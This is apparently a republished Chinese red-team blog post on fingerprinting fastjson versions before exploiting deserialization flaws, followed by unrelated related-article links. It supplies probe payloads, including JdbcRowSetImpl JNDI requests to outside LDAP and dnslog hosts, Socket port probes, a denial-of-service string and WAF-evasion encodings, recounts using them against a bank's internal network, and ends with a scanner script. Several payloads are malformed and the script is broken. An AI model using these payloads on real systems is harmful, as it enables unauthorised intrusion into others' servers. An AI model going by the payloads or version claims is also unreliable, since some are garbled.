当前位置: 首页 > news >正文

第N篇:实战中精准定位fastjson版本的指纹探测技术解析

1. 为什么需要精准识别fastjson版本?

在红队实战中,遇到一个使用fastjson的Web应用就像发现了一座金矿,但问题在于——你手里有十几把钥匙,却不知道哪一把能打开保险箱。fastjson从1.1.x到1.2.80的各个版本间,反序列化漏洞的利用方式差异巨大。比如1.2.24版本可以直接用JdbcRowSetImpl打LDAP注入,而1.2.47需要特殊的AutoType绕过技巧,到了1.2.68又变成了写文件getshell。

我去年在某次攻防演练中就吃过亏:对着一个1.2.80版本的目标狂打1.2.47的POC,浪费了整整半天时间。后来发现目标系统在错误响应中其实藏着版本信息,只是当时没注意观察。这个教训让我意识到,版本识别不是可选项,而是漏洞利用的前置必修课

2. 四大指纹探测技术详解

2.1 报错信息指纹分析

最直接的版本识别方式就是让fastjson"说漏嘴"。经过实测,这三个payload成功率最高:

{"@type": "java.lang.AutoCloseable" ["test":1] {"a":"\x

第一个payload会触发AutoCloseable接口的异常,在1.2.36-1.2.47版本会返回包含版本号的堆栈信息。第二个畸形JSON在1.2.5以下版本会直接暴露版本,而第三个十六进制转义字符在部分老旧版本会引发解析异常。

有个小技巧:在Burp里发送这些payload时,记得把Content-Type改成text/plain。有次测试某OA系统,用application/json死活不报错,换成text/plain后立刻吐出了1.2.48的版本号。

2.2 DNS外带数据探测

DNS查询是最可靠的出网检测手段,不同版本的fastjson对DNS解析器的调用方式不同:

// 1.2.24及以下版本专属 {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx.dnslog.cn","autoCommit":true}} // 1.2.25-1.2.47版本有效 {"name":{"@type":"java.net.InetAddress","val":"dnslog.cn"}} // 1.2.48+版本可用 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.cn"}}

这里有个坑点:很多文章说InetAddress能用于所有版本,其实1.2.48开始这个类就被加入了黑名单。我建议先用JdbcRowSetImpl探测,没反应再尝试其他payload。

2.3 延迟行为检测技巧

在内网不出网的环境下,延迟检测就是救命稻草。这两个经典payload值得收藏:

// 针对<=1.2.47版本的JNDI延迟 {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1.1.1.1:389","autoCommit":true}} // 针对<=1.2.68的DoS特性 {"a":"\xaaaaaaaaaaaaaa...(5000个a)"

第一个payload的原理是向不存在的LDAP服务器发起连接,如果目标版本<=1.2.47,会有3-5秒的等待超时。第二个利用的是老版本处理超长转义字符时的性能缺陷,a的数量越多延迟越明显(建议从100个开始递增)。

2.4 TCP/UDP端口探测

当DNS被禁用时,可以尝试用HTTP或RMI端口触发交互:

// 检测1.2.24-1.2.47版本 {"@type":"java.net.Socket","address":{"@type":"java.net.InetSocketAddress","address":"1.1.1.1","port":80}} // 适用于1.2.48+ {"@type":"java.net.InetSocketAddress","address":"1.1.1.1","port":80}

我在某次银行内网渗透时发现,他们的DNS服务被禁用,但80端口能通。通过Socket探测确认是1.2.46版本后,最终用JRMP客户端实现了不出网利用。

3. 版本判定流程图与实战案例

3.1 五步判定法

根据多年实战经验,我总结出这个排查顺序:

  1. 先发送报错payload看能否直接获取版本
  2. 尝试JdbcRowSetImpl的LDAP payload(1.2.24特征)
  3. 测试InetAddress的DNS查询(1.2.47特征)
  4. 检查DoS延迟特性(1.2.68特征)
  5. 最后用Socket探测兜底

3.2 某次HW中的实战复盘

去年在某大型金融企业遇到一个有趣案例:目标系统对所有常见payload都无响应。后来发现他们用了自定义的fastjson分支,通过以下畸形请求最终触发了版本泄漏:

{"@type":"java.util.Currency","currency":"CNY","value":{ "@type":"java.lang.Character"}}

这个案例告诉我们,当标准方法失效时,可以尝试:

  • 使用冷门Java类作为入口点
  • 嵌套多层异常结构
  • 结合文件读取等二次利用手段

4. 防御对抗与绕过技巧

4.1 常见WAF绕过方法

现在越来越多的防护设备会拦截fastjson探测请求,这里分享三个绕过技巧:

  1. Unicode编码关键字段:
{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073"}
  1. 添加无用注释干扰:
{"a":/*xxxx*/"b","@type":"java.net.InetAddress"}
  1. 混合使用不同探测方式:
{"a":{"@type":"java.net.URL","val":"http://dnslog.cn"},"b":["\xaaaa..."]}

4.2 新版fastjson的防护机制

从1.2.68开始,fastjson引入了这些防护措施:

  • 完全关闭autotype功能
  • 增加hash校验机制
  • 内置更严格的黑名单

但我在1.2.80版本中仍发现可以通过$ref功能实现有限的信息探测,这说明版本识别技术需要持续更新迭代。

5. 自动化探测工具开发建议

手工测试效率太低,建议用Python实现自动化探测:

import requests def check_version(target): tests = [ ("error", {"payload": '{"@type": "java.lang.AutoCloseable"}'}), ("dns_1.2.24", {"payload": JdbcRowSetImpl_payload}), ("delay_1.2.47", {"payload": ldap_delay_payload, "timeout": 5}) ] for name, test in tests: try: start = time.time() r = requests.post(target, data=test["payload"], headers={"Content-Type":"text/plain"}, timeout=test.get("timeout",3)) if "fastjson" in r.text: return parse_version(r.text) if name.startswith("delay") and time.time()-start > 4: return "<=1.2.47" except: continue return "unknown"

这个框架可以扩展更多检测模块,建议结合异步IO实现批量扫描。我在GitHub上开源的FastjsonScanner就采用了类似架构,单个线程每天能扫描2000+目标。

http://www.jsqmd.com/news/640461/

相关文章:

  • SLF4J迁移工具使用教程:从传统日志框架平滑过渡到SLF4J
  • 树链剖分例题
  • 如何实现多色位图的智能矢量转换:Vectorizer技术深度解析
  • 【2026奇点智能技术大会权威解码】:医学影像分析三大范式跃迁与临床落地时间表
  • 3步搞定!终极Cursor Pro免费方案:彻底解锁AI编程神器完整教程
  • 实验室与科研首选:高精度光声光谱仪测评,这三大厂商正在重新定义“灵敏” - 品牌推荐大师1
  • Motrix 浏览器扩展:颠覆性架构解析与实战部署指南
  • # 低代码平台实战:用 Python 快速构建可视化数据看板(附完整代码与部署流
  • Cursor Pro免费使用终极指南:如何绕过限制实现永久Pro功能体验
  • 软件测试如何转型产品经理?成功案例全解析
  • 2026年4月评价高的增压器维修厂商推荐,高压油泵精细维修,供油稳定更持久 - 品牌推荐师
  • 为什么说实习是低成本的职业试错 - 新闻快传
  • 终极开源本地实时语音识别工具TMSpeech:高效、安全、零延迟的完整解决方案
  • plog扩展开发实战:自定义格式化器与附加器完全指南
  • Qwen-Image-Edit-F2P生产环境部署:防火墙/日志/tail-f排障实操手册
  • 全文降AI的好处:从知网检测算法角度解读为什么要全文处理
  • 朗岱植物蛋白液体灌装机的介绍 - 品牌推荐大师1
  • RoboMaster开发板C型嵌入式开发终极指南:从零到机器人专家
  • 考研数学二核心公式速查手册(基础篇)
  • Hyperlapse.js项目架构分析:理解模块化设计与事件驱动机制
  • Python 异步的传染性;langgragh并行工作流;
  • ABAP开发实战:Range Table的5种高效用法与性能优化技巧
  • 别再复制粘贴了!用Python GMSSL v3.2.1玩转SM4加密(ECB/CBC/OFB/CFB/CTR模式保姆级教程)
  • Obsidian任务管理插件完全指南:打造智能高效工作流程
  • Google 迎来「DeepSeek 时刻」:Turbouant算法实现bit无损、×加速、×压缩、零预处理
  • 光纤激光打标机知名品牌与生产厂家推荐指南 - 品牌推荐大师1
  • 低温冷却液循环泵生产厂家优选:河南佰年仪器、巩义予华仪器品牌推荐 - 品牌推荐大师
  • **发散创新:基于Metal API的高性能图形渲染架构设计与实战**在现代GPU计算和图形渲染领域,**Metal API**作
  • Auto-Unlocker:解锁VMware macOS虚拟化的专业解决方案
  • 北京一对一全托管补习哪家效果好 - 品牌排行榜